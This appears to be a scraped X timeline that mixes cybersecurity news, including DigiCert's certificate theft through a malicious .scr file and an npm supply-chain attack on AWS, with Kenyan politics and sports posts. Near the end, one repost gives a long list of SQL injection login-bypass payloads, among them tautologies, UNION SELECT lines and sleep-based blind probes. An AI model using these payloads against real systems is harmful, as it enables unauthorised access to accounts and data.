S3RV3Rnt

💻

[International Cyber Digest @IntCyberDigest]

‼️🚨 One of the world's largest Certificate Authorities, DigiCert, was compromised by a malicious screensaver file sent through a customer support chat. Their antivirus blocked the malware four times. The agent kept clicking. The fifth try got through.

27 code signing certificates were stolen and used to sign malware.

DigiCert ultimately revoked 60 certificates.

Per DigiCert's incident report, filed in Mozilla's CA compliance tracker as Bug 2033170, here is how it unfolded:

April 2: an attacker contacted a DigiCert helpdesk agent through the company's customer support chat channel, posing as a customer. The lure was a zip file pitched as a screenshot. Inside the zip was a .scr file. On Windows, .scr files are executables, and this one carried a malicious payload.

Opening a file a customer sent through the official support channel is what an agent is supposed to do. Support staff are the one role designed to accept files from strangers.

DigiCert's endpoint security blocked four infection attempts. On the fifth, the support analyst's machine was infected.

DigiCert detected the infection, ran an investigation, and concluded the incident was contained.

Eleven days later, an external researcher tipped DigiCert off about misuse of DigiCert-issued code signing certificates in the wild. That tip led to the discovery of a second compromised machine, belonging to a different support analyst, infected through the same vector. The EDR on that machine had not been functioning correctly, so the original investigation missed it.

The second machine gave the attacker access to DigiCert's internal support portal. That portal lets support staff reach limited views of customer accounts, including initialization codes for ordered but not-yet-issued code signing certificates. Combining a stolen initialization code with an approved order let the attacker pull a real, validly issued code signing certificate. They did this 27 times.

DigiCert's own list of what went wrong:

- File-type filtering on the customer support chat channel did not catch the .scr
- EDR coverage was inconsistent and incomplete, creating a blind spot
- Initialization codes for code signing certificates were not adequately protected

DigiCert says it got lucky. An outside researcher found the malware abuse before DigiCert did. Without that tip, the second machine and the active certificate theft might still be running today.

[The Hacker News @TheHackersNews]

🛑 Attackers turned the nx npm supply-chain compromise into full AWS admin access in under 72 hours.

Google says UNC6426 stole a developer’s GitHub token via QUIETVAULT, abused GitHub-to-AWS OIDC trust, created a new admin role, then accessed S3 data and destroyed production systems.

🔗 Read → https://t.co/NwHFT9AKLQ

[The Hacker News @TheHackersNews]

⚡ WEBINAR — AI agents now send emails, move data, and run tasks across company systems.

Many operate as “invisible employees” with access security teams rarely track. Attackers exploit this by planting instructions that make agents leak sensitive data.

🔗 Learn how to secure AI agent workflows → https://t.co/EUHxC0RlGn

[clan·des·tine 📴 @Ke_Cyber]

🚨 @KenGenKenya has been hit by a ransomware group—attackers exfiltrated 3.4GB of sensitive Data,@ODPC_KE @DataGovProsKe @kcsfa @ikassait

#KENGEN Why open port 3389 over the internet? @KenGenKenya do you even do cybersecurity audit?

[S3RV3Rnt @wekeseric]

@Janetke2140 This gentleman knew that the guy would say something despicable so he started to walk away. But he had to come back and disassociate himself after hearing "tunampenda"😂

[TheCyberPatronNetwork © @TheCyberPatron_]

RISK MANAGEMENT FRAMEWORK

[John Bantai Naftali @yanabantai]

Hackers search engines.

[S3RV3Rnt @wekeseric]

This guy! Unreal shot from such a distance!

[Daily Loud @DailyLoud]

Steph Curry makes an insane shot look EASY! 👀🔥🤯

[NetworkChuck @NetworkChuck]

How to use netstat for beginners 👇

[NetworkChuck @NetworkChuck]

Stop using ipconfig. Use this instead👇

[S3RV3Rnt @wekeseric]

No, this is wrong in very many ways.

[DCI KENYA @DCI_Kenya]

ARREST OF A SUSPECT FOR CREATING DISTURBANCE

A suspect has been arrested following reports of a disturbance at the Ministry of Health Boardroom at the Capital Hill Police Station.

The suspect, Grace Njoki Mulei, was tracked down to Hombe Road, off Juja Road, and successfully apprehended. She has been taken to Capital Hill Police Station, where she will remain in custody until her court appearance scheduled for tomorrow.

[Tech Fusionist @techyoutbe]

SSL vs TLS 🔥

[S3RV3Rnt @wekeseric]

@__EIvis Kama dipstet mmeamua hivyo ni sawa 😂

[S3RV3Rnt @wekeseric]

An elected senator coming to tweet like a common citizen! Our leaders need to do better.

[Sen. Ledama Olekina @ledamalekina]

Beginning 2025 , the competition will now shift from how much land you have to who has the largest carbon footprint… expect new cabinet secretaries to buy new choppers 🚁 using your money! Mtadu?

[S3RV3Rnt @wekeseric]

@Pawleecarp The Mumias Mike Tyson atakuwa sawa. naona anapewa maji.

[𝕏 Bug Bounty Writeups 𝕏 @bountywriteups]

🚀 SQL Injection - Auth Bypass Payloads

0' or '0' = '0
1' or '1' = '1
'-'
' '
'&'
'^'
'*'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
"-"
" "
"&"
"^"
"*"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 1=1
or 1=1--
or 1=1#
or 1=1/*
' OORR 1<2 #
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
' and 1='1
' and a='a
or 1=1
or true
' or ''='
" or ""="
1′) and '1′='1–
' AND 1=0 UNION ALL SELECT '', '81dc9bdb52d04dc20036dbd8313ed055
" AND 1=0 UNION ALL SELECT "", "81dc9bdb52d04dc20036dbd8313ed055
and 1=1
and 1=1–
' and 'one'='one
' and 'one'='one–
' group by password having 1=1--
' group by userid having 1=1--
' group by username having 1=1--
like '%'
or 0=0 --
or 0=0 #
or 0=0 –
' or 0=0 #
' or 0=0 --
' or 0=0 #
' or 0=0 –
" or 0=0 --
" or 0=0 #
" or 0=0 –
%' or '0'='0
or 1=1
or 1=1--
or 1=1/*
or 1=1#
or 1=1–
' or 1=1--
' or '1'='1
' or '1'='1'--
' or '1'='1'/*
' or '1'='1'#
' or '1′='1
' or 1=1
' or 1=1 --
' or 1=1 –
' or 1=1--
' or 1=1;#
' or 1=1/*
' or 1=1#
' or 1=1–
') or '1'='1
') or '1'='1--
') or '1'='1'--
') or '1'='1'/*
') or '1'='1'#
') or ('1'='1
') or ('1'='1--
') or ('1'='1'--
') or ('1'='1'/*
') or ('1'='1'#
'or'1=1
'or'1=1′
" or "1"="1
" or "1"="1"--
" or "1"="1"/*
" or "1"="1"#
" or 1=1
" or 1=1 --
" or 1=1 –
" or 1=1--
" or 1=1/*
" or 1=1#
" or 1=1–
") or "1"="1
") or "1"="1"--
") or "1"="1"/*
") or "1"="1"#
") or ("1"="1
") or ("1"="1"--
") or ("1"="1"/*
") or ("1"="1"#
) or '1′='1–
) or ('1′='1–
' or 1=1 LIMIT 1;#
'or 1=1 or ''='
"or 1=1 or ""="
' or 'a'='a
' or a=a--
' or a=a–
') or ('a'='a
" or "a"="a
") or ("a"="a
') or ('a'='a and hi") or ("a"="a
' or 'one'='one
' or 'one'='one–
' or uid like '%
' or uname like '%
' or userid like '%
' or user like '%
' or username like '%
' or 'x'='x
') or ('x'='x
" or "x"="x
' OR 'x'='x'#;
'=' 'or' and '=' 'or'
' UNION ALL SELECT 1, @@version;#
' UNION ALL SELECT system_user(),user();#
' UNION select table_schema,table_name FROM information_Schema.tables;#
admin' and substring(password/text(),1,1)='7
' and substring(password/text(),1,1)='7
' or 1=1 limit 1 -- -+
'="or'
' and 'x'='x
admin' or 1=1;--
?id=1' order by 1 --+
?id=1' and "a"="a"--+
?id=1' and database()="securtiy"--+
?id=1' and substring(database(),1,1)="a"--+
?id=1' and sleep(2) and "a"="a"--+
?id=1' and sleep(2) and substring(database(),1,1)="a"--+
'+||+1=1#

[Harshleen @0xharshleen]

CYBERSECURITY TOOLS BY CATEGORY 🎯
@SecurityTrybe